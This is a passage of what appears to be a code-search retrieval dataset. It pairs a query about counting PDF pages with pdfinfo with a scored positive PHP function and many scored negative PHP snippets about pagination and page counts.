"7180491982dceb54388ebb357c58a6be", "score": "0.642179", "text": "function get_result($instance_id,$request_id)\n\t{\n\t\tif (!is_object($this->wl))\n\t\t{\n\t\t\trequire_once(\"class.WebLog.php\");\n\t\t\t$this->wl = new WebLog();\n\t\t}\n\n\t\t$data = $this->wl->get_result($instance_id,$request_id);\n\t\treturn($data);\n\t}", "title": "" }, { "docid": "7e2db353ea827b6ebf97c4443ea8f66c", "score": "0.6398733", "text": "public function get_response_object()\n {\n }", "title": "" }, { "docid": "6862a8a5a3569817f486b69a844aacd2", "score": "0.6392595", "text": "private function getResult() {\n return $this->result;\n }", "title": "" }, { "docid": "3a3db362615849001e1f29683c8cf552", "score": "0.63742334", "text": "public function getResult()\n {\n return $this->_result;\n }", "title": "" } ]
627b823d29debfbac4de3994e06bf1b6
Count the number of pages on a PDF document. This method requires an external command line tool called pdfinfo, that we should place on our project storage/binary folder Its free and can be downloaded from: VERY IMPORTANT: 1. pdfinfo execute permission MUST be enabled at least for the file owner 2. Make sure you are using the binary executable of pdfinfo that fits your OS (centos, windows...) and processor (32bit / 64bit) or it may not work
[ { "docid": "cff4aebe401a1260969974f713ed008d", "score": "0.77978075", "text": "public static function getPagesCount($pdfInfoPath, $pdfPath){\r\n\r\n\t\t// Check that the specified pdf file exists\r\n\t\tif(!is_file($pdfPath)){\r\n\r\n\t\t\ttrigger_error('PdfUtils::getPagesCount Error: Specified PDF file ('.$pdfPath.') does not exist', E_USER_WARNING);\r\n\r\n\t\t\treturn 0;\r\n\t\t}\r\n\r\n\t\t// Check that the cmd pdfinfo tool exists and is executable\r\n\t\tif(!is_executable($pdfInfoPath)){\r\n\r\n\t\t\ttrigger_error('PdfUtils::getPagesCount Error: Specified pdfinfo CMD binary ('.$pdfInfoPath.') does not exist or execute permisions are disabled', E_USER_WARNING);\r\n\r\n\t\t\treturn 0;\r\n\t\t}\r\n\r\n\t\t// Execute the pdfinfo tool that gives us the information we need\r\n\t\texec($pdfInfoPath.' \"'.$pdfPath.'\"', $output, $return);\r\n\r\n\t\t// Check any problem on jpegtran execution\r\n\t\tif ($return != 0) {\r\n\r\n\t\t\ttrigger_error('PdfUtils::getPagesCount pdfinfo failed :'.implode(\"\\n\", $output), E_USER_WARNING);\r\n\r\n\t\t\treturn 0;\r\n\t\t}\r\n\r\n\t\t// Iterate through lines\r\n\t\t$pageCount = 0;\r\n\r\n\t\t// We will get the number of pages from the pdinfo command line output.\r\n\t\t// It is extracted by using a regular expression\r\n\t\tforeach($output as $op){\r\n\r\n\t\t\tif(preg_match('/Pages:\\s*(\\d+)/i', $op, $matches) === 1){\r\n\r\n\t\t\t\treturn intval($matches[1]);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $pageCount;\r\n\t}", "title": "" } ]
[ { "docid": "bfd2a593f05ddde19ba07354c9c45260", "score": "0.7079114", "text": "public function getNumberOfPages()\n {\n return (new \\Imagick($this->pdfFile))->getNumberImages();\n }", "title": "" }, { "docid": "67251f05740a5f80b83eb9f17a3fbeef", "score": "0.6899783", "text": "public function getNumberOfPages();", "title": "" }, { "docid": "6a3a528d189f7ef3e56c640c7df8cb82", "score": "0.66535497", "text": "public function getNumberOfPages(): int;", "title": "" }, { "docid": "b3ca1f5d96121ad06fc4ebd481090380", "score": "0.66413563", "text": "public function CountPages()\n\t{\n\t\t$result = $this->database->ExecuteQuery(\"SELECT COUNT(*) AS AnzahlPages FROM page\");\n\t\t$num = $this->FetchArray($result);\n\t\treturn ($num['AnzahlPages']);\n\t}", "title": "" }, { "docid": "120dadac97fbe10be28a2e44b28ada9c", "score": "0.6396145", "text": "public function getPageCount();", "title": "" }, { "docid": "c7aadd04b5f58d39b93250c37b02fdc6", "score": "0.63819903", "text": "public function countPages()\n {\n return (int) static::getResponse()->getHeaders()[self::$headers['header_total_pages']];\n }", "title": "" }, { "docid": "5098459b46f0c265d43c76dec1949f08", "score": "0.6337884", "text": "public function total_pages(): int;", "title": "" }, { "docid": "2d4cf3d4c96e262f7522b2d09f0dcb6b", "score": "0.62293506", "text": "public function countPages($bpp = 25) {\n\t\t $tokens = $this->ytokens($bpp);\n\t\t return count($tokens);\t\t\n\t }", "title": "" }, { "docid": "bcf1c670645dbee2ba90134e49f7ce38", "score": "0.6191649", "text": "public function list_spCountPages()\n\t{\n\t\treturn sp_count_pages();\n\t}", "title": "" }, { "docid": "1d90835b077435c92779bf42d4f9ded8", "score": "0.61433154", "text": "public function numDocs() {\n\t\t$numDocs = 0;\n\t\t\n\t\tforeach ( $this->_segmentInfos as $segmentInfo ) {\n\t\t\t$numDocs += $segmentInfo->numDocs ();\n\t\t}\n\t\t\n\t\treturn $numDocs;\n\t}", "title": "" }, { "docid": "84510107c76b8d4aa4c4d8170ef111c8", "score": "0.610285", "text": "public function getPDFLength() {\r\n\t\treturn $this->_context->getParser ()->getLength ();\r\n\t}", "title": "" }, { "docid": "283c1f855b2bfb87db494c24c86c281f", "score": "0.6053151", "text": "public function getTotalPages()\n\t{\n\t}", "title": "" }, { "docid": "d70fab0d1d4aaf9dd247c5317a3de275", "score": "0.5994077", "text": "public function getTotalPages(): int\n {\n return count($this->getPages());\n }", "title": "" }, { "docid": "e29a17ecc0887ba4c71e93d5b93371d6", "score": "0.5984118", "text": "public function getTotalNumberOfpages(){\n return $this->originalResponse->searchInformation->totalResults;\n }", "title": "" }, { "docid": "f3c7c7bf6dfb7463cb1a1c50d9763b5a", "score": "0.59481186", "text": "public function getNumPages() {\n return $this->numpages;\n }", "title": "" }, { "docid": "2dae335beecfc8a9367c9ea70e690a8c", "score": "0.59305835", "text": "public function getPageCount(): int;", "title": "" }, { "docid": "7ae96ea0281466b3e2eb2d37d87902bf", "score": "0.5888534", "text": "function calculate_numPages(){\n $this->numPages = ceil($this->num / $this->limit);\n }", "title": "" }, { "docid": "498567aa62ba8155192db615988ad2f2", "score": "0.5867398", "text": "public function getPageCount()\n {\n return count($this->bakedFiles);\n }", "title": "" }, { "docid": "11510b5a82924adb1d98e64f50eec3da", "score": "0.58672476", "text": "public function writePagesCounter() {\r\n\t\t$txt = '';\r\n\t\t$from_result = $this->pageStart+1;\r\n\t\tif ($this->pageStart + $this->perPage < $this->total) {\r\n\t\t\t$to_result = $this->pageStart + $this->perPage;\r\n\t\t} else {\r\n\t\t\t$to_result = $this->total;\r\n\t\t}\r\n\t\tif ($this->total > 0) {\r\n\t\t\t$txt .= _JT_PN_RESULTS.\" <strong>$from_result - $to_result</strong> \"._JT_PN_OF.\" $this->total\";\r\n\t\t}\r\n\t\treturn $txt;\r\n\t}", "title": "" }, { "docid": "fd72c8450223a24e9de64e4247f19e5f", "score": "0.5811926", "text": "public static function getPdfSize($file)\n\t{\n\t\t//fix locale settings to handle unicode filenames\n\t\t$locale = setlocale(LC_CTYPE, null);\n\t\tsetlocale(LC_CTYPE, \"C.UTF-8\");\n\n\t\t//get pdfinfo via command line call\n\t\t$cli = new CliCall('pdfinfo', array($file));\n\t\t$cli->execute();\n\n\t\t//reset locale settings\n\t\tsetlocale(LC_CTYPE, $locale);\n\n\t\t// extract page sizes\n\t\tif($cli->exitStatus == 0 && empty($cli->stdErr)) {\n\t\t\tpreg_match('/Page size:\\s+([0-9]{0,5}\\.?[0-9]{0,3}) x ([0-9]{0,5}\\.?[0-9]{0,3})\\s(\\w*)\\s.*/', $cli->stdOut, $match);\n\t\t\t$width = round($match[1]);\n\t\t\t$height = round($match[2]);\n\t\t} else {\n\t\t\t$width = null;\n\t\t\t$height = null;\n\t\t\ttrigger_error($cli->report);\n\t\t}\n\n\t\treturn array('0' => $width, '1' => $height, 'width' => $width, 'height' => $height);\n\t}", "title": "" }, { "docid": "a81499567acd1857500d1547b969b6ac", "score": "0.5806625", "text": "public function pageCount(){ return $this->APICall( 'pageCount', \"Could not get the page count for \" . $this->description() ); }", "title": "" }, { "docid": "b4e91a43d2c93d202e81ba6faabf338b", "score": "0.57533526", "text": "private static function getNumOfPages(array $list): int {\n return ceil(sizeof($list) / self::$pageSize);\n }", "title": "" }, { "docid": "e02b86e555ebdd496f7962a41151300e", "score": "0.57385826", "text": "private function _getNumPages()\n {\n $numItems = count($this->_pictures);\n $numPages = floor($numItems / MAX_ITEMS_PER_PAGE);\n\n if (MAX_ITEMS_PER_PAGE * $numPages < $numItems) {\n $numPages++;\n }\n\n return $numPages;\n }", "title": "" }, { "docid": "05f4e900af16a2f608156c416434deb2", "score": "0.5729268", "text": "public function getTotalPagesNumber()\n {\n return $this->_total_pages;\n }", "title": "" }, { "docid": "d18577cde90e261636a94abbe25f2755", "score": "0.57188016", "text": "function PDF_pcos_get_number($p, $doc, $path){}", "title": "" }, { "docid": "03cc0aa76e82da10524ac1c1fefc7714", "score": "0.56988454", "text": "public static function getPages(): int\n {\n return 50;\n }", "title": "" }, { "docid": "9d905c95c72e19b87e3b4233e19273ba", "score": "0.5655777", "text": "public function countPages()\n {\n return ceil(count($this)/$this->_recordsPerPage);\n }", "title": "" }, { "docid": "2e123c6573a56d97cf165c18e50fb38a", "score": "0.5650548", "text": "function pageCount($n, $p) {\n $arrayNumPages = array();\n $aberturasBook = array();\n $virada = array();\n \n for($i=0;$i<=$n;$i++){\n $arrayNumPages[] = $i; \n }\n \n $aberturasBook = array_chunk($arrayNumPages, 2, true);//Agrupa aberturasBook de 2 em 2 paginas\n \n //qual virada tá a pagina que eu quero?\n $numAberturas = count($aberturasBook);\n for($j=0;$j<$numAberturas;$j++) {\n if (in_array($p, $aberturasBook[$j])) { \n //verificar do inicio ate ela\n $virada[] = $j;\n //verificar do fim ate ela\n $virada[] = $numAberturas-($j+1);\n }\n }\n \n return min($virada);//retorna a menor qtd de viradas de paginas\n}", "title": "" }, { "docid": "b267c737923355fc4bf1b65fc03c06e7", "score": "0.5636912", "text": "function PDF_process_pdi($pdfdoc, $doc, $page, $optlist){}", "title": "" }, { "docid": "35a2df12e505f9cb681304b9da4b399a", "score": "0.56322324", "text": "public function getTotalPages() : int\n {\n return $this->total_pages;\n }", "title": "" }, { "docid": "228864bbcf945c608fac0d5ab4220055", "score": "0.5626483", "text": "public function getPageCount() {\n\t\t$results = $this->query->count();\n\t\treturn (int)ceil($results/$this->pageSize);\n\t}", "title": "" }, { "docid": "34c1f4c4cc745a1a01d3794a09c75ad7", "score": "0.56239176", "text": "public function pageNo ()\n {\n return $this->_pdf->pageNo();\n }", "title": "" }, { "docid": "70eb6b92de32282ef90afb3b01a54ff7", "score": "0.561659", "text": "public function getPageCount()\n {\n $scan = $this->getLatestScan();\n \n if (false === $this->getLatestScan()) {\n return false;\n }\n \n return $scan->getDistinctPageCount();\n }", "title": "" }, { "docid": "6b256f622f7ab1bd8ee97e54ba321004", "score": "0.55864537", "text": "private static function count_pages(){\n\t$sql=\"SELECT COUNT(*) FROM navigacija WHERE id!=1 AND id!=4\";\n\t$result=self::$connect->query($sql);\n\t$row=$result->fetch(PDO::FETCH_NUM);\n\treturn $row[0];\n\t\n}", "title": "" }, { "docid": "dcd36937c8f67274f9611b8f292c7558", "score": "0.5579573", "text": "public function countRootPages()\n {\n $objRootPages = $this->getAllRootPages();\n\n return $objRootPages->count();\n }", "title": "" }, { "docid": "d5fd6cddfa6b55ad5398b965b1128dfa", "score": "0.55728894", "text": "public function get_items_pages_count() {\n\n\t\t$per_page = $this->get_items_per_page();\n\t\t$total = $this->get_items_total_count();\n\n\t\tif ( ! $per_page || ! $total ) {\n\t\t\treturn 1;\n\t\t} else {\n\t\t\treturn ceil( $total / $per_page );\n\t\t}\n\n\t}", "title": "" }, { "docid": "d5fd6cddfa6b55ad5398b965b1128dfa", "score": "0.55728894", "text": "public function get_items_pages_count() {\n\n\t\t$per_page = $this->get_items_per_page();\n\t\t$total = $this->get_items_total_count();\n\n\t\tif ( ! $per_page || ! $total ) {\n\t\t\treturn 1;\n\t\t} else {\n\t\t\treturn ceil( $total / $per_page );\n\t\t}\n\n\t}", "title": "" }, { "docid": "f9f3dbafb831f3c08fb1bcc54772785f", "score": "0.5561598", "text": "public function numberOfPages(){\n if($this->totalAmount == 0){\n return 0;\n }\n $cantidad= $this->totalAmount / $this->amountPerPage;\n if(is_int($cantidad)){\n return $cantidad;\n }else{\n $cantidad_int= intval($cantidad);\n if($cantidad_int > $cantidad){\n return $cantidad_int;\n }else{\n return $cantidad_int + 1;\n }\n }\n }", "title": "" }, { "docid": "f8d2847bc83830e6e80a522d96a34b08", "score": "0.5555538", "text": "function wikula_userapi_CountAllPages()\n{\n $dom = ZLanguage::getModuleDomain('wikula');\n // build the where clause\n $pntable =& pnDBGetTables();\n $columns = &$pntable['wikula_pages_column'];\n\n $where = $columns['latest'].' = \\'Y\\'';\n\n // return the count\n return DBUtil::selectObjectCount('wikula_pages', $where);\n}", "title": "" }, { "docid": "d0e4fcc97f2e11393d3f189155c26fbf", "score": "0.55514115", "text": "public function countNewsPages() {\n $sql = 'SELECT COUNT(id) AS NumberOfNews FROM %1$snews';\n // Prepares a query\n $stmt = $this->pdo->prepare($sql);\n // Sends query to database\n $stmt->execute();\n // Grab the list\n $numberOfNews = $stmt->fetchColumn(0);\n // Return number of cats divided by number of includes\n return ceil($numberOfNews / 8);\n }", "title": "" }, { "docid": "16f7f8bbbfb24540c194588f60056c3f", "score": "0.5547946", "text": "function PDF_get_errnum($pdfdoc){}", "title": "" }, { "docid": "816f3cb5d667dfa075fc58f5fbcfde5e", "score": "0.55283105", "text": "public function getPageCount() {\n\t\treturn (int)(($this->store->getTotal()+$this->pageSize-1)/$this->pageSize);\n\t}", "title": "" }, { "docid": "982cfdbfb3eb5393ade332ee19dd1ed6", "score": "0.55189896", "text": "public function getTotalPages() {\n\t\tif ($this->totalPages == null) {\n\t\t\t$this->detectOtherValues();\n\t\t}\n\n\t\treturn $this->totalPages;\n\t}", "title": "" }, { "docid": "d5b5aaef634bc3b1d1b55c07e72dfe50", "score": "0.5513123", "text": "public function getNumberOfPages() {\n\n return (int) $this->numberOfPages;\n }", "title": "" }, { "docid": "8f6f3687ea57a3b9e1256e9b977a55b0", "score": "0.54935896", "text": "public function totalPages(): int\n {\n return $this->totalPages;\n }", "title": "" }, { "docid": "1c7876cd3df89cf0ccc599499a2d15b0", "score": "0.54619247", "text": "public static function getSizeOfPageByUrl($url){\n\t \n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\n\t\tcurl_setopt($ch, CURLOPT_HEADER, TRUE);\n\t\tcurl_exec($ch);\n\t\t$size = round(curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD) / 1024,2);\n\t\tcurl_close($ch);\n\t\t\n\t\treturn $size;\n\t}", "title": "" }, { "docid": "31928f14678c3f1a3e65758a277b4ecd", "score": "0.5457883", "text": "abstract public function getElementsCountForPage(int $pageIndex): int;", "title": "" }, { "docid": "1cc9f81d7cd8c4ecb8cf78fb322e4af4", "score": "0.54557955", "text": "public function getNPage(): int\n {\n return $this->nPage ;\n }", "title": "" }, { "docid": "833dea57e0030a89bc8dfe1f896bf82e", "score": "0.54537874", "text": "function plugin_childcount_inline()\n{\n\t// パラメータを配列に格納\n\t$args = func_get_args();\n\t\n\t// {}内の値\n\t$page = array_pop($args); // in {} = htmlspecialchars\n\t\n\t// {}内がなければ()内を取得する\n\tif (!$page) list($page) = array_pad($args, 1, '');\n\t\n\t// 与えられた値がページ名じゃない時\n\tif ($page && !is_page($page)) return false;\n\t\n\t// ページ名の指定がないときは表示中のページ名\n\tif (!$page) $page = $vars['page'];\n\t\n\t// 下層ページ数を返す\n\treturn get_child_counts($page);\n}", "title": "" }, { "docid": "232361627772cf9f1f5d34ddf3b5274b", "score": "0.54173017", "text": "function getTotalPages($data) {\n if (!array_key_exists('total_pages', $data)) {\n return 1;\n }\n\n return $data['total_pages'];\n}", "title": "" }, { "docid": "d5401755329a6b70e9ebfc0726ca4eaf", "score": "0.54076755", "text": "public function getAliasNbPages() {\n if ($this->isUnicodeFont()) {\n return '{'.TCPDF_STATIC::$alias_tot_pages.'}';\n }\n return TCPDF_STATIC::$alias_tot_pages;\n }", "title": "" }, { "docid": "ec0585d7f5d6a92e0c33d1eca20fe028", "score": "0.5394677", "text": "public function getNumPagesIndex()\n {\n return $this->numPagesIndex;\n }", "title": "" }, { "docid": "4efdb3fa9239465df068f11cb1e4bd36", "score": "0.5361385", "text": "public function pageCount(string $table, int $pagesize = 10, string $where = '', array $params = []) : int\n {\n $count = R::count($table, $where, $params);\n return (int) \\floor(($count % $pagesize > 0 ? ($count + $pagesize) : $count) / $pagesize);\n }", "title": "" }, { "docid": "cb5d6c0268126634e1bac42c77b7d6fd", "score": "0.53526896", "text": "public function getNbPages()\n\t{\n\t\treturn (integer)$this->nb_pages;\n\t}", "title": "" }, { "docid": "dee06a5b114072a2f4b417b9a4006091", "score": "0.53393394", "text": "static function obtenirNombrePages()\n {\n $instance =& Logs::_obtenirInstance();\n $nombre = $instance->_bdd->obtenirUn('SELECT COUNT(*) FROM afup_logs');\n $nombre = ceil($nombre / $instance->_nombre_logs_par_page);\n return ($nombre == 0) ? 1 : $nombre;\n }", "title": "" }, { "docid": "2ca6a1ed1d087222db728b28e10ce5ad", "score": "0.53361875", "text": "function mycustom_fakku_get_num_pages($link) {\n \n $html = file_get_html($link);\n if($html) {\n //if($html->find('#right', 0)->find('.small', 0)->find('b', 0))\n $right = $html->find('#right', 0);\n if($right) {\n $num = $right->find('.small', 0)->find('b', 0)->plaintext;\n $title = $html->find('#right', 0)->find('h1', 0)->plaintext;\n } else {\n //$num = 20;\n return -1;\n }\n \n \n //$num = $html->find('#right', 0)->find('.small', 0)->find('b', 0)->plaintext;\n \n return array('num' => $num, 'title' => $title);\n }\n return -1;\n \n\n\n //$num = $html->find('#right', 0)->plaintext;\n \n}", "title": "" }, { "docid": "1d9cb60e6c4929d840144078c29ebb4c", "score": "0.5333737", "text": "public function getCurrentPageElementsCount(): int ;", "title": "" }, { "docid": "4578cdc30a96de9085de7cf6541d4750", "score": "0.53306377", "text": "function getTotalPage($count)\r\n\t{\r\n\t\t$nbrAnnonceParPage = $this->getConfig(\"nbr_annonce_page\");\r\n\t\t$totalPage = ceil($count / $nbrAnnonceParPage);\r\n\t\treturn $totalPage;\r\n\t}", "title": "" }, { "docid": "a96156e2575ca646a5f4a8e30c15c42a", "score": "0.53292686", "text": "public function getPageCount(): int {\n return $this->pageCount;\n }", "title": "" }, { "docid": "a5e0de5f72cb5e6c18767e53f69a3f05", "score": "0.5324559", "text": "function getNumberOfSubpages() {\n\t\tglobal $dbi;\n\t\t\n\t\t$result = $dbi->query(\"SELECT COUNT(*) FROM \".pageTableName.\" WHERE parentId=\".$this->id);\n\t\tif($result->rows()) {\n\t\t\tlist($count) = $result->fetchrow_array();\n\t\t\treturn $count;\n\t\t}\n\t\treturn 0;\n\t}", "title": "" }, { "docid": "a77de8e07c066a67bd2afcbe72aeafd5", "score": "0.5324331", "text": "public function getTotalPages($numRows = 50, $where = '') {\n\t\tif ($numRows == 0) {\n\t\t\t$numRows = MTE_GRID_ROWS;\n\t\t}\n\t\t$numRecs = $this->recordCount($where);\n\t\t$result = (int)($numRecs/$numRows);\n\n\t\tif ($numRecs%$numRows > 0) {\n\t\t\t$result = $result+1;\n\t\t}\n\n\t\treturn $result == 0?1:$result;\n\t}", "title": "" }, { "docid": "25748d66610da55f702b6f81d2b8f706", "score": "0.531624", "text": "public function getTotalPages()\n\t{\n\t\treturn $this->totalPages;\n\t}", "title": "" }, { "docid": "873f4e6c6e6055e19027ee9b9c2c601c", "score": "0.5314313", "text": "public function getApproximatePageCount()\n {\n $siteTreeIDList = array_merge([0], $this->getSiteTreesIDList());\n $connection = $this->getConnection();\n $result = $connection->fetchColumn('select count(*) from Pages where siteTreeID is null or siteTreeID in (' . implode(', ', $siteTreeIDList) . ')');\n\n return $result ?: 0;\n }", "title": "" }, { "docid": "aef6a82f38b9dc13c5d5aa665ce244cc", "score": "0.5310337", "text": "public function getChildDocumentsCount(){}", "title": "" }, { "docid": "aef6a82f38b9dc13c5d5aa665ce244cc", "score": "0.5310337", "text": "public function getChildDocumentsCount(){}", "title": "" }, { "docid": "93487811065e522889beb4af11ddb69f", "score": "0.5303495", "text": "function get_object_count()\r\n {\r\n return $this->get_browser()->count_gutenberg_publications($this->get_condition());\r\n }", "title": "" }, { "docid": "1e34507978ec1d2433ffc3cfe8565bcc", "score": "0.5303107", "text": "function get_num_cedi_pages()\n{\n\t$value=get_value_newer_than('num_seedy_pages',time()-60*60*24);\n\n\tif (is_null($value))\n\t{\n\t\t$_value=$GLOBALS['SITE_DB']->query_value_null_ok('seedy_pages','COUNT(*)');\n\t\tif (!($_value>0)) $_value=0;\n\t\t$value=strval($_value);\n\t\tset_value('num_seedy_pages',$value);\n\t}\n\n\treturn intval($value);\n}", "title": "" }, { "docid": "67fe9f760de30a3cb41d15612dd9021b", "score": "0.53012466", "text": "public function getPageCount()\n {\n return $this->page_count;\n }", "title": "" }, { "docid": "5bd6812e045d5ab8c9b66e4f4ed012c6", "score": "0.5290076", "text": "public function numDocs() {\n\t\tif ($this->hasDeletions ()) {\n\t\t\treturn $this->_docCount - $this->_deletedCount ();\n\t\t} else {\n\t\t\treturn $this->_docCount;\n\t\t}\n\t}", "title": "" }, { "docid": "9c58eb13eafca4e3c0f9670dc43375a7", "score": "0.52720815", "text": "public function number(){\n\t\t// number of pages to be shown left of current page\n $left = floor($this->displayPages/2);\n // number of pages to be shown right of current page\n $right = ceil($this->displayPages/2)-1;\n \n \n //what happens if there is not enough available pages on left\n if(($this->currentPage() - $left) < 1){\n \t$right += ($left - $this->currentPage + 1);\n \t$left -= ($left - $this->currentPage + 1);\n }\n \n //what happens if there is not enough available pages on right\n if(($this->currentPage + $right) > $this->lastPage()){\n \t$left += $right - ($this->lastPage() - $this->currentPage);\n \t$right = $this->lastPage() - $this->currentPage;\n }\n \n //Filling the array with indexes that should be shown in paginator\n\t\t$pages = array();\n for($i = $this->currentPage - $left; $i<= $this->currentPage + $right; $i++){\n $pages[] = $i;\n }\n return $pages;\n }", "title": "" }, { "docid": "47e2c51c0b5464be3354c7f6fc7f9b82", "score": "0.52691144", "text": "public function getNumPagesTotal()\n {\n return $this->numPagesTotal;\n }", "title": "" }, { "docid": "73138c6ce9e8c3ca94b14f2ed5d3db86", "score": "0.5231905", "text": "function getPageCount() {\n return $this->page_count;\n }", "title": "" }, { "docid": "439f3d436d6c158fd42efa8023783ac1", "score": "0.52255833", "text": "public function totalPages()\n {\n return ceil($this->count() / $this->pageSize);\n }", "title": "" }, { "docid": "184c16dfdbf224da890e954d37d69859", "score": "0.5222888", "text": "function count_pages($array,$perpage) {\r\n\tif (count($array) < $perpage) {\r\n\t\treturn 1;\r\n\t}\r\n\telse {\r\n\t\treturn ceil(count($array)/$perpage);\r\n\t}\r\n}", "title": "" }, { "docid": "9832a4847552588792f74dbac8b70e44", "score": "0.5212978", "text": "public function numberOfTopSoftKeyPages();", "title": "" }, { "docid": "4572d3325d65fa407e33f262820da783", "score": "0.52126884", "text": "public function getPagesTotal()\n {\n return array_key_exists('pages_total', $this->meta)\n ? intval($this->meta['pages_total'])\n : 0;\n }", "title": "" }, { "docid": "b6ecd5e65f60269a083b958b8253387c", "score": "0.52121854", "text": "function filepro_fieldcount(){}", "title": "" }, { "docid": "e1958af9f6dfe058cdd8982fb6c1a1c7", "score": "0.5201167", "text": "function getPageCount($tabla, $campoFiltro, $filtro) {\r\n\tif (isset($_POST['pagsTotal']) AND is_numeric($_POST['pagsTotal']) AND ($_POST['pagsTotal'] != -1)) { // Ya fue determinado\r\n $pags = $_POST['pagsTotal'];\r\n } else { // Es necesario determinarlo\r\n \t$total = getCountRecs($tabla, $campoFiltro, $filtro);\r\n \t\r\n // Calcular nro de paginas\r\n if ($total > RECS_PER_PAGE) { // Mas de una pagina\r\n $pags = ceil($total/RECS_PER_PAGE);\r\n } else {\r\n $pags = 1;\r\n }\r\n }\r\n \r\n return $pags;\r\n}", "title": "" }, { "docid": "43c219e5dc72e6ef9f4134aeeec32f79", "score": "0.5198102", "text": "public function extractPageFromPdf($path, $pageNumber, $quality, $output = null);", "title": "" }, { "docid": "7d574ea629b0b09d40a4aa9bbb935004", "score": "0.51857865", "text": "protected function _putpages() {\n $filter = ($this->compress) ? '/Filter /FlateDecode ' : '';\n // get internal aliases for page numbers\n $pnalias = $this->getAllInternalPageNumberAliases();\n $num_pages = $this->numpages;\n $ptpa = TCPDF_STATIC::formatPageNumber(($this->starting_page_number + $num_pages - 1));\n $ptpu = TCPDF_FONTS::UTF8ToUTF16BE($ptpa, false, $this->isunicode, $this->CurrentFont);\n $ptp_num_chars = $this->GetNumChars($ptpa);\n $pagegroupnum = 0;\n $groupnum = 0;\n $ptgu = 1;\n $ptga = 1;\n $ptg_num_chars = 1;\n for ($n = 1; $n <= $num_pages; ++$n) {\n // get current page\n $temppage = $this->getPageBuffer($n);\n $pagelen = strlen($temppage);\n // set replacements for total pages number\n $pnpa = TCPDF_STATIC::formatPageNumber(($this->starting_page_number + $n - 1));\n $pnpu = TCPDF_FONTS::UTF8ToUTF16BE($pnpa, false, $this->isunicode, $this->CurrentFont);\n $pnp_num_chars = $this->GetNumChars($pnpa);\n $pdiff = 0; // difference used for right shift alignment of page numbers\n $gdiff = 0; // difference used for right shift alignment of page group numbers\n if (!empty($this->pagegroups)) {\n if (isset($this->newpagegroup[$n])) {\n $pagegroupnum = 0;\n ++$groupnum;\n $ptga = TCPDF_STATIC::formatPageNumber($this->pagegroups[$groupnum]);\n $ptgu = TCPDF_FONTS::UTF8ToUTF16BE($ptga, false, $this->isunicode, $this->CurrentFont);\n $ptg_num_chars = $this->GetNumChars($ptga);\n }\n ++$pagegroupnum;\n $pnga = TCPDF_STATIC::formatPageNumber($pagegroupnum);\n $pngu = TCPDF_FONTS::UTF8ToUTF16BE($pnga, false, $this->isunicode, $this->CurrentFont);\n $png_num_chars = $this->GetNumChars($pnga);\n // replace page numbers\n $replace = array();\n $replace[] = array($ptgu, $ptg_num_chars, 9, $pnalias[2]['u']);\n $replace[] = array($ptga, $ptg_num_chars, 7, $pnalias[2]['a']);\n $replace[] = array($pngu, $png_num_chars, 9, $pnalias[3]['u']);\n $replace[] = array($pnga, $png_num_chars, 7, $pnalias[3]['a']);\n list($temppage, $gdiff) = TCPDF_STATIC::replacePageNumAliases($temppage, $replace, $gdiff);\n }\n // replace page numbers\n $replace = array();\n $replace[] = array($ptpu, $ptp_num_chars, 9, $pnalias[0]['u']);\n $replace[] = array($ptpa, $ptp_num_chars, 7, $pnalias[0]['a']);\n $replace[] = array($pnpu, $pnp_num_chars, 9, $pnalias[1]['u']);\n $replace[] = array($pnpa, $pnp_num_chars, 7, $pnalias[1]['a']);\n list($temppage, $pdiff) = TCPDF_STATIC::replacePageNumAliases($temppage, $replace, $pdiff);\n // replace right shift alias\n $temppage = $this->replaceRightShiftPageNumAliases($temppage, $pnalias[4], max($pdiff, $gdiff));\n // replace EPS marker\n $temppage = str_replace($this->epsmarker, '', $temppage);\n //Page\n $this->page_obj_id[$n] = $this->_newobj();\n $out = '<<';\n $out .= ' /Type /Page';\n $out .= ' /Parent 1 0 R';\n if (empty($this->signature_data['approval']) OR ($this->signature_data['approval'] != 'A')) {\n $out .= ' /LastModified '.$this->_datestring(0, $this->doc_modification_timestamp);\n }\n $out .= ' /Resources 2 0 R';\n foreach ($this->page_boxes as $box) {\n $out .= ' /'.$box;\n $out .= sprintf(' [%F %F %F %F]', $this->pagedim[$n][$box]['llx'], $this->pagedim[$n][$box]['lly'], $this->pagedim[$n][$box]['urx'], $this->pagedim[$n][$box]['ury']);\n }\n if (isset($this->pagedim[$n]['BoxColorInfo']) AND !empty($this->pagedim[$n]['BoxColorInfo'])) {\n $out .= ' /BoxColorInfo <<';\n foreach ($this->page_boxes as $box) {\n if (isset($this->pagedim[$n]['BoxColorInfo'][$box])) {\n $out .= ' /'.$box.' <<';\n if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['C'])) {\n $color = $this->pagedim[$n]['BoxColorInfo'][$box]['C'];\n $out .= ' /C [';\n $out .= sprintf(' %F %F %F', ($color[0] / 255), ($color[1] / 255), ($color[2] / 255));\n $out .= ' ]';\n }\n if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['W'])) {\n $out .= ' /W '.($this->pagedim[$n]['BoxColorInfo'][$box]['W'] * $this->k);\n }\n if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['S'])) {\n $out .= ' /S /'.$this->pagedim[$n]['BoxColorInfo'][$box]['S'];\n }\n if (isset($this->pagedim[$n]['BoxColorInfo'][$box]['D'])) {\n $dashes = $this->pagedim[$n]['BoxColorInfo'][$box]['D'];\n $out .= ' /D [';\n foreach ($dashes as $dash) {\n $out .= sprintf(' %F', ($dash * $this->k));\n }\n $out .= ' ]';\n }\n $out .= ' >>';\n }\n }\n $out .= ' >>';\n }\n $out .= ' /Contents '.($this->n + 1).' 0 R';\n $out .= ' /Rotate '.$this->pagedim[$n]['Rotate'];\n if (!$this->pdfa_mode) {\n $out .= ' /Group << /Type /Group /S /Transparency /CS /DeviceRGB >>';\n }\n if (isset($this->pagedim[$n]['trans']) AND !empty($this->pagedim[$n]['trans'])) {\n // page transitions\n if (isset($this->pagedim[$n]['trans']['Dur'])) {\n $out .= ' /Dur '.$this->pagedim[$n]['trans']['Dur'];\n }\n $out .= ' /Trans <<';\n $out .= ' /Type /Trans';\n if (isset($this->pagedim[$n]['trans']['S'])) {\n $out .= ' /S /'.$this->pagedim[$n]['trans']['S'];\n }\n if (isset($this->pagedim[$n]['trans']['D'])) {\n $out .= ' /D '.$this->pagedim[$n]['trans']['D'];\n }\n if 